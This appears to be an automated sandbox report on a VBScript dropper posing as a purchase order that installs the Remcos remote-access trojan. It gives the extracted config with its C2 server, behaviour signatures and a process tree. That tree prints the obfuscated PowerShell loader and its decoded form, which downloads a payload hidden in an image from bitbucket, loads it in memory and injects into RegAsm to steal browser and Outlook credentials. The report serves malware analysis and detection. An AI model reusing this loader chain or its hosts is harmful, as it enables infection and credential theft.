Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06/08/2024, 05:55

General

  • Target
    ORDER727366466274PO.vbs
  • Size 19KB
  • Sample240806-gmgcpavfph
  • SHA256 d22b06b385c7008e533025e88223e3d2ce7dbc38ef5de6087d5e5e22cf95ff52
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • remcos

Botnet
  • RemoteHost

C2
  • mad.lotus-marines.com:7666

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-NRIWLN

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Detected Nirsoft tools 3 IoCs

    Free utilities often used by attackers which can steal passwords, product keys, etc.

  • NirSoft MailPassView 1 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 1 IoCs

    Password recovery tool for various web browsers

  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious behavior: MapViewOfSection 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 34 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ORDER727366466274PO.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4808
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#Gg#ZwBk#GY#a#Bk#GY#ZwBk#C8#d#Bl#HM#d##v#GQ#bwB3#G4#b#Bv#GE#Z#Bz#C8#bgBl#Hc#XwBp#G0#YQBn#GU#LgBq#H##Zw#/#DE#MQ#4#DE#MQ#3#DM#NQ#n#Cw#I##n#Gg#d#B0#H##cw#6#C8#LwBi#Gk#d#Bi#HU#YwBr#GU#d##u#G8#cgBn#C8#a#Bn#GQ#ZgBo#GQ#ZgBn#GQ#LwB0#GU#cwB0#C8#Z#Bv#Hc#bgBs#G8#YQBk#HM#LwBu#GU#dwBf#Gk#bQBh#Gc#ZQ#u#Go#c#Bn#D8#MQ#0#DQ#N##x#Dc#Mg#z#Cc#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#g#D0#I#BE#G8#dwBu#Gw#bwBh#GQ#R#Bh#HQ#YQBG#HI#bwBt#Ew#aQBu#Gs#cw#g#CQ#b#Bp#G4#awBz#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##aQBm#C##K##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#I##t#G4#ZQ#g#CQ#bgB1#Gw#b##p#C##ew#g#CQ#aQBt#GE#ZwBl#FQ#ZQB4#HQ#I##9#C##WwBT#Hk#cwB0#GU#bQ#u#FQ#ZQB4#HQ#LgBF#G4#YwBv#GQ#aQBu#Gc#XQ#6#Do#VQBU#EY#O##u#Ec#ZQB0#FM#d#By#Gk#bgBn#Cg#J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#Ck#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I##k#HM#d#Bh#HI#d#BG#Gw#YQBn#C##PQ#g#Cc#P##8#EI#QQBT#EU#Ng#0#F8#UwBU#EE#UgBU#D4#Pg#n#Ds#I##k#GU#bgBk#EY#b#Bh#Gc#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBF#E4#R##+#D4#Jw#7#C##J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#C##PQ#g#CQ#aQBt#GE#ZwBl#FQ#ZQB4#HQ#LgBJ#G4#Z#Bl#Hg#TwBm#Cg#J#Bz#HQ#YQBy#HQ#RgBs#GE#Zw#p#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#Ek#bgBk#GU#e#BP#GY#K##k#GU#bgBk#EY#b#Bh#Gc#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#Gk#Zg#g#Cg#J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#C##LQBn#GU#I##w#C##LQBh#G4#Z##g#CQ#ZQBu#GQ#SQBu#GQ#ZQB4#C##LQBn#HQ#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#KQ#g#Hs#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##r#D0#I##k#HM#d#Bh#HI#d#BG#Gw#YQBn#C4#T#Bl#G4#ZwB0#Gg#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#GI#YQBz#GU#Ng#0#Ew#ZQBu#Gc#d#Bo#C##PQ#g#CQ#ZQBu#GQ#SQBu#GQ#ZQB4#C##LQ#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#YgBh#HM#ZQ#2#DQ#QwBv#G0#bQBh#G4#Z##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#UwB1#GI#cwB0#HI#aQBu#Gc#K##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#L##g#CQ#YgBh#HM#ZQ#2#DQ#T#Bl#G4#ZwB0#Gg#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#YwBv#G0#bQBh#G4#Z#BC#Hk#d#Bl#HM#I##9#C##WwBT#Hk#cwB0#GU#bQ#u#EM#bwBu#HY#ZQBy#HQ#XQ#6#Do#RgBy#G8#bQBC#GE#cwBl#DY#N#BT#HQ#cgBp#G4#Zw#o#CQ#YgBh#HM#ZQ#2#DQ#QwBv#G0#bQBh#G4#Z##p#Ds#I##k#Gw#bwBh#GQ#ZQBk#EE#cwBz#GU#bQBi#Gw#eQ#g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#UgBl#GY#b#Bl#GM#d#Bp#G8#bg#u#EE#cwBz#GU#bQBi#Gw#eQBd#Do#OgBM#G8#YQBk#Cg#J#Bj#G8#bQBt#GE#bgBk#EI#eQB0#GU#cw#p#Ds#I##k#HQ#eQBw#GU#I##9#C##J#Bs#G8#YQBk#GU#Z#BB#HM#cwBl#G0#YgBs#Hk#LgBH#GU#d#BU#Hk#c#Bl#Cg#JwB0#GU#cwB0#H##bwB3#GU#cgBz#Gg#ZQBs#Gw#LgBI#G8#bQBl#Cc#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#G0#ZQB0#Gg#bwBk#C##PQ#g#CQ#d#B5#H##ZQ#u#Ec#ZQB0#E0#ZQB0#Gg#bwBk#Cg#JwBs#GE#Jw#p#C4#SQBu#HY#bwBr#GU#K##k#G4#dQBs#Gw#L##g#Fs#bwBi#Go#ZQBj#HQ#WwBd#F0#I##o#Cc#d#B4#HQ#LgBn#Gg#bgBt#Gs#bgBn#C8#bQBv#GM#LgBz#GU#cgBw#Hg#aQBh#C8#Lw#6#HM#c#B0#HQ#a##n#Cw#I##n#D##Jw#s#C##JwBT#HQ#YQBy#HQ#dQBw#E4#YQBt#GU#Jw#s#C##JwBS#GU#ZwBB#HM#bQ#n#Cw#I##n#D##Jw#p#Ck#fQB9##==';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $codigo.replace('#','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4540
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/hgdfhdfgd/test/downloads/new_image.jpg?11811735', 'https://bitbucket.org/hgdfhdfgd/test/downloads/new_image.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.ghnmkng/moc.serpxia//:sptth', '0', 'StartupName', 'RegAsm', '0'))}}"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4832
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
          4⤵
            PID:2052
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
            4⤵
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of WriteProcessMemory
            PID:3632
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
              C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\dplie"
              5⤵
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:2824
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
              C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\nrqbficj"
              5⤵
              • Accesses Microsoft Outlook accounts
              • System Location Discovery: System Language Discovery
              PID:4788
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
              C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\pmvlybnchrn"
              5⤵
                PID:4376
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\pmvlybnchrn"
                5⤵
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:2636

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            powershell.exe.log

            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
            • Size 3KB
            • SHA256 69f03040bf4208bbfc3617a35799ad9897c2235df7832dc7687c8b91ef2f99e8
            • MD5 SHA1 SHA512

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 64B
            • SHA256 5ffd4a816ae5d1c1a8bdc51d2872b7dd99e9c383c88001d303a6f64a77773686
            • MD5 SHA1 SHA512

            __PSScriptPolicyTest_umypp2hb.erh.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_umypp2hb.erh.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512

            dplie

            • Path C:\Users\Admin\AppData\Local\Temp\dplie
            • Size 4KB
            • SHA256 3586befc3b8b4da223e2ee0dcb00965ba5c0a205c14f2acefdeec7e46efddd5a
            • MD5 SHA1 SHA512 SSDEEP

            memory/2636-52-0x0000000000400000-0x0000000000424000-memory.dmp

            memory/2636-54-0x0000000000400000-0x0000000000424000-memory.dmp

            memory/2636-55-0x0000000000400000-0x0000000000424000-memory.dmp

            memory/2824-57-0x0000000000400000-0x0000000000478000-memory.dmp

            memory/2824-51-0x0000000000400000-0x0000000000478000-memory.dmp

            memory/2824-49-0x0000000000400000-0x0000000000478000-memory.dmp

            memory/2824-47-0x0000000000400000-0x0000000000478000-memory.dmp

            memory/3632-37-0x0000000000400000-0x0000000000482000-memory.dmp

            memory/3632-44-0x0000000000400000-0x0000000000482000-memory.dmp

            memory/3632-34-0x0000000000400000-0x0000000000482000-memory.dmp

            memory/3632-35-0x0000000000400000-0x0000000000482000-memory.dmp

            memory/3632-36-0x0000000000400000-0x0000000000482000-memory.dmp

            memory/3632-68-0x0000000000400000-0x0000000000482000-memory.dmp

            memory/3632-38-0x0000000000400000-0x0000000000482000-memory.dmp

            memory/3632-39-0x0000000000400000-0x0000000000482000-memory.dmp

            memory/3632-40-0x0000000000400000-0x0000000000482000-memory.dmp

            memory/3632-41-0x0000000000400000-0x0000000000482000-memory.dmp

            memory/3632-43-0x0000000000400000-0x0000000000482000-memory.dmp

            memory/3632-32-0x0000000000400000-0x0000000000482000-memory.dmp

            memory/3632-46-0x0000000000400000-0x0000000000482000-memory.dmp

            memory/3632-45-0x0000000000400000-0x0000000000482000-memory.dmp

            memory/3632-25-0x0000000000400000-0x0000000000482000-memory.dmp

            memory/3632-69-0x0000000000400000-0x0000000000482000-memory.dmp

            memory/3632-70-0x0000000000400000-0x0000000000482000-memory.dmp

            memory/3632-67-0x0000000010000000-0x0000000010019000-memory.dmp

            memory/3632-72-0x0000000000400000-0x0000000000482000-memory.dmp

            memory/3632-71-0x0000000000400000-0x0000000000482000-memory.dmp

            memory/3632-66-0x0000000010000000-0x0000000010019000-memory.dmp

            memory/3632-73-0x0000000000400000-0x0000000000482000-memory.dmp

            memory/3632-63-0x0000000010000000-0x0000000010019000-memory.dmp

            memory/3632-74-0x0000000000400000-0x0000000000482000-memory.dmp

            memory/4540-31-0x00007FFA14AC0000-0x00007FFA15581000-memory.dmp

            memory/4540-0-0x00007FFA14AC3000-0x00007FFA14AC5000-memory.dmp

            memory/4540-23-0x00007FFA14AC0000-0x00007FFA15581000-memory.dmp

            memory/4540-22-0x00007FFA14AC0000-0x00007FFA15581000-memory.dmp

            memory/4540-12-0x00007FFA14AC0000-0x00007FFA15581000-memory.dmp

            memory/4540-11-0x00007FFA14AC0000-0x00007FFA15581000-memory.dmp

            memory/4540-1-0x0000026DDA8C0000-0x0000026DDA8E2000-memory.dmp

            memory/4788-48-0x0000000000400000-0x0000000000462000-memory.dmp

            memory/4788-53-0x0000000000400000-0x0000000000462000-memory.dmp

            memory/4788-56-0x0000000000400000-0x0000000000462000-memory.dmp

            memory/4832-24-0x000001D9B91B0000-0x000001D9B91EE000-memory.dmp